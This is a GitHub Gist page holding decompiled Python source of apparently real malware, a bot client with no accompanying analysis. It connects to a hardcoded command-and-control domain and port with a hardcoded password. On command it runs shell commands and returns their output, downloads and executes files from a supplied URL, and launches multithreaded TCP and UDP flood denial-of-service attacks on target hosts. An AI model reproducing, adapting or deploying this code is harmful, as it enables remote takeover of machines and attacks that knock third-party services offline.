Created
February 1, 2014 19:21
-
-
Save mjpieters/8757225 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# 2014.02.01 19:20:29 GMT | |
# Embedded file name: /root/scsl.py | |
import socket | |
import threading | |
import select | |
import random | |
import sys | |
import time | |
import base64 | |
import subprocess | |
import urllib | |
ControlDomain = 'usaserverav.dyndns.tv' | |
ControlPort = 9999 | |
ControlTimeOut = 31536000 | |
ConnectSleep = 300 | |
ControlPassword = 'fuckyou' | |
thread_exit = 0 | |
totalsock = [] | |
socklock = threading.RLock() | |
TOSecond = [1, | |
2, | |
4, | |
8, | |
16, | |
30] | |
TONum = 0 | |
def random_str(randomlength): | |
str = '' | |
for i in range(randomlength): | |
str += chr(random.randint(0, 255)) | |
return str | |
def CheckIP(IP): | |
tab = 0 | |
try: | |
ipsplit = IP.split('.') | |
if len(ipsplit) == 4: | |
if ipsplit[0].isdigit() and ipsplit[1].isdigit() and ipsplit[2].isdigit() and ipsplit[3].isdigit(): | |
tab = 1 | |
except: | |
s = sys.exc_info() | |
return tab | |
def dosock(threadid, sock, IP, port, timeout, rawlen, SendTab, portnum): | |
tab = 1 | |
try: | |
sock.connect((IP, port[portnum])) | |
if SendTab == 1: | |
infds, outfds, errfds = select.select([], [sock], [sock], timeout) | |
if len(outfds): | |
rawdata = random_str(rawlen) | |
sock.send(rawdata) | |
except: | |
s = sys.exc_info() | |
tab = 0 | |
return tab | |
def udpsend(threadid, sock, IP, port, rawlen): | |
try: | |
i = random.randint(0, len(port) - 1) | |
addr = (IP, port[i]) | |
rawdata = random_str(rawlen) | |
sock.sendto(rawdata, addr) | |
except: | |
s = sys.exc_info() | |
return 0 | |
l = threading.RLock() | |
def sockclose(sock): | |
try: | |
sock.close() | |
except: | |
s = sys.exc_info() | |
return 0 | |
def check(threadid, IP, IPTab, port, timeout, delaytime, rawlen, taskid, SendTab): | |
global TOSecond | |
global thread_exit | |
global TONum | |
global totalsock | |
sock = 0 | |
trynum = 0 | |
CheckNum = 0 | |
RealIP = IP | |
portnum = 0 | |
tempport = [] | |
realport = [] | |
portlen = len(port) | |
try: | |
for pport in port: | |
tempport.append(pport) | |
for i in range(portlen): | |
p = random.randint(0, len(tempport) - 1) | |
realport.append(tempport[p]) | |
tempport.remove(tempport[p]) | |
tempport = [] | |
if timeout == 0: | |
TOSNum = len(TOSecond) - 1 | |
l.acquire() | |
timeout = TOSecond[TONum] | |
if TONum >= TOSNum: | |
TONum = 0 | |
else: | |
TONum += 1 | |
l.release() | |
while 1: | |
l.acquire() | |
if thread_exit == taskid: | |
l.release() | |
break | |
l.release() | |
if trynum == 3: | |
for sock in totalsock: | |
sockclose(sock) | |
totalsock = [] | |
trynum = 0 | |
try: | |
time.sleep(delaytime) | |
socket.setdefaulttimeout(timeout) | |
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
except: | |
trynum += 1 | |
continue | |
trynum = 0 | |
if IPTab == 0: | |
if CheckNum >= 100: | |
CheckNum = 0 | |
if CheckNum == 0: | |
IP = GetIP(RealIP) | |
CheckNum += 1 | |
tab = dosock(threadid, sock, IP, realport, timeout, rawlen, SendTab, portnum) | |
portlen = len(realport) - 1 | |
if portnum >= portlen: | |
portnum = 0 | |
else: | |
portnum += 1 | |
if tab == 1 and SendTab == 1: | |
socklock.acquire() | |
totalsock.append(sock) | |
socklock.release() | |
else: | |
sockclose(sock) | |
except: | |
s = sys.exc_info() | |
for sock in totalsock: | |
sockclose(sock) | |
totalsock = [] | |
return 0 | |
def checkUDP(threadid, IP, IPTab, port, timeout, delaytime, rawlen, taskid, SendTab): | |
sock = 0 | |
CheckNum = 0 | |
RealIP = IP | |
try: | |
while 1: | |
l.acquire() | |
if thread_exit == taskid: | |
l.release() | |
break | |
l.release() | |
try: | |
time.sleep(delaytime) | |
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) | |
except: | |
continue | |
if IPTab == 0: | |
if CheckNum >= 1000: | |
CheckNum = 0 | |
if CheckNum == 0: | |
IP = GetIP(RealIP) | |
CheckNum += 1 | |
udpsend(threadid, sock, IP, port, rawlen) | |
sockclose(sock) | |
except: | |
s = sys.exc_info() | |
return 0 | |
def test(sock, rawlen): | |
try: | |
try: | |
infds, outfds, errfds = select.select([], [sock], [], 2) | |
except: | |
socklock.acquire() | |
totalsock.remove(sock) | |
socklock.release() | |
sockclose(sock) | |
return 0 | |
if len(outfds): | |
rawdata = random_str(rawlen) | |
try: | |
sock.send(rawdata) | |
except: | |
socklock.acquire() | |
totalsock.remove(sock) | |
socklock.release() | |
sockclose(sock) | |
return 0 | |
else: | |
socklock.acquire() | |
totalsock.remove(sock) | |
socklock.release() | |
sockclose(sock) | |
except: | |
s = sys.exc_info() | |
return 0 | |
def CheckSockThread(taskid, rawlen): | |
try: | |
while 1: | |
l.acquire() | |
if thread_exit == taskid: | |
l.release() | |
break | |
l.release() | |
for sock in totalsock: | |
test(sock, rawlen) | |
except: | |
s = sys.exc_info() | |
return 0 | |
def DDOS(dtrawlen, dtnum, dtIP, dtport, dttimeout, dtdelaytime, dtendtimeout, taskid, SendTab, Mode): | |
global thread_exit | |
try: | |
childthreads = [] | |
l.acquire() | |
thread_exit = 0 | |
l.release() | |
t = threading.Thread(target=CheckSockThread, args=(taskid, dtrawlen)) | |
t.setDaemon(1) | |
t.start() | |
IPTab = CheckIP(dtIP) | |
for i in range(dtnum): | |
if Mode == 'TCP': | |
t = threading.Thread(target=check, args=(i + 1, | |
dtIP, | |
IPTab, | |
dtport, | |
dttimeout, | |
dtdelaytime, | |
dtrawlen, | |
taskid, | |
SendTab)) | |
else: | |
t = threading.Thread(target=checkUDP, args=(i + 1, | |
dtIP, | |
IPTab, | |
dtport, | |
dttimeout, | |
dtdelaytime, | |
dtrawlen, | |
taskid, | |
SendTab)) | |
t.setDaemon(1) | |
t.start() | |
childthreads.append(t) | |
if dtendtimeout: | |
time.sleep(dtendtimeout) | |
l.acquire() | |
thread_exit = taskid | |
l.release() | |
for t in childthreads: | |
t.join() | |
except: | |
s = sys.exc_info() | |
return 0 | |
def Shell(sock, command): | |
try: | |
p = subprocess.Popen('/bin/sh', shell=False, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.STDOUT) | |
stdoutdata, stderrdata = p.communicate(command) | |
data = base64.encodestring(stdoutdata) | |
sock.send(data) | |
except: | |
s = sys.exc_info() | |
return 0 | |
def DownandExec(url, Timeout): | |
try: | |
filename = url[url.rfind('/') + 1:] | |
urllib.urlretrieve(url, filename) | |
subprocess.Popen(filename, shell=True) | |
except: | |
s = sys.exc_info() | |
return 0 | |
def GenPortlist(plist): | |
portlist = [] | |
strportlist = plist.split(',') | |
for port in strportlist: | |
if port.find('-') > 0: | |
ports = port.split('-') | |
for i in range(int(ports[0]), int(ports[1]) + 1): | |
portlist.append(i) | |
else: | |
portlist.append(int(port)) | |
return portlist | |
def CtrlTran(sock, Timeout): | |
global thread_exit | |
global ControlPassword | |
try: | |
infds, outfds, errfds = select.select([], [sock], [], 5) | |
if len(outfds): | |
data = base64.encodestring(ControlPassword) | |
sock.send(data) | |
else: | |
sock.close() | |
return 0 | |
while 1: | |
infds, outfds, errfds = select.select([sock], [], [], 5) | |
if len(infds): | |
data = sock.recv(1024) | |
data = base64.decodestring(data) | |
if data.find('shell') == 0: | |
command = data[data.find('[') + 1:data.find(']')] | |
Shell(sock, command) | |
elif data.find('down&exec') == 0: | |
url = data[data.find('[') + 1:data.find(']')] | |
t = threading.Thread(target=DownandExec, args=(url, Timeout)) | |
t.setDaemon(1) | |
t.start() | |
elif data.find('ddos') == 0: | |
data = data[data.find('[') + 1:data.find(']')] | |
list = data.split('|') | |
dtrawlen = int(list[0]) | |
dtnum = int(list[1]) | |
dtIP = list[2] | |
dtport = GenPortlist(list[3]) | |
dttimeout = int(list[4]) | |
dtdelaytime = int(list[5]) | |
dtendtimeout = int(list[6]) | |
dttaskid = int(list[7]) | |
SendTab = int(list[8]) | |
Mode = list[9] | |
t = threading.Thread(target=DDOS, args=(dtrawlen, | |
dtnum, | |
dtIP, | |
dtport, | |
dttimeout, | |
dtdelaytime, | |
dtendtimeout, | |
dttaskid, | |
SendTab, | |
Mode)) | |
t.setDaemon(1) | |
t.start() | |
elif data.find('stopddos') == 0: | |
l.acquire() | |
thread_exit = int(data[data.find('[') + 1:data.find(']')]) | |
l.release() | |
infds, outfds, errfds = select.select([], [sock], [], 5) | |
if len(outfds): | |
data = base64.encodestring('t') | |
sock.send(data) | |
except: | |
s = sys.exc_info() | |
if sock: | |
sock.close() | |
return 0 | |
def Connect(IP, Port, Timeout): | |
try: | |
socket.setdefaulttimeout(Timeout) | |
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
sock.connect((IP, Port)) | |
return sock | |
except: | |
s = sys.exc_info() | |
return 0 | |
def GetIP(Domain): | |
IP = '' | |
try: | |
answer = socket.getaddrinfo(Domain, None) | |
if len(answer): | |
IP = answer[0][4][0] | |
except: | |
s = sys.exc_info() | |
return IP | |
def SCService(): | |
global ControlPort | |
global ControlDomain | |
global ControlTimeOut | |
global ConnectSleep | |
try: | |
while 1: | |
ControlIP = GetIP(ControlDomain) | |
sock = Connect(ControlIP, ControlPort, ControlTimeOut) | |
if sock: | |
CtrlTran(sock, ControlTimeOut) | |
time.sleep(ConnectSleep) | |
except: | |
s = sys.exc_info() | |
return 0 | |
try: | |
SCService() | |
except: | |
s = sys.exc_info() | |
# okay decompyling /Users/mj/Downloads/scsl.pyo | |
# decompiled 1 files: 1 okay, 0 failed, 0 verify failed | |
# 2014.02.01 19:20:30 GMT |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment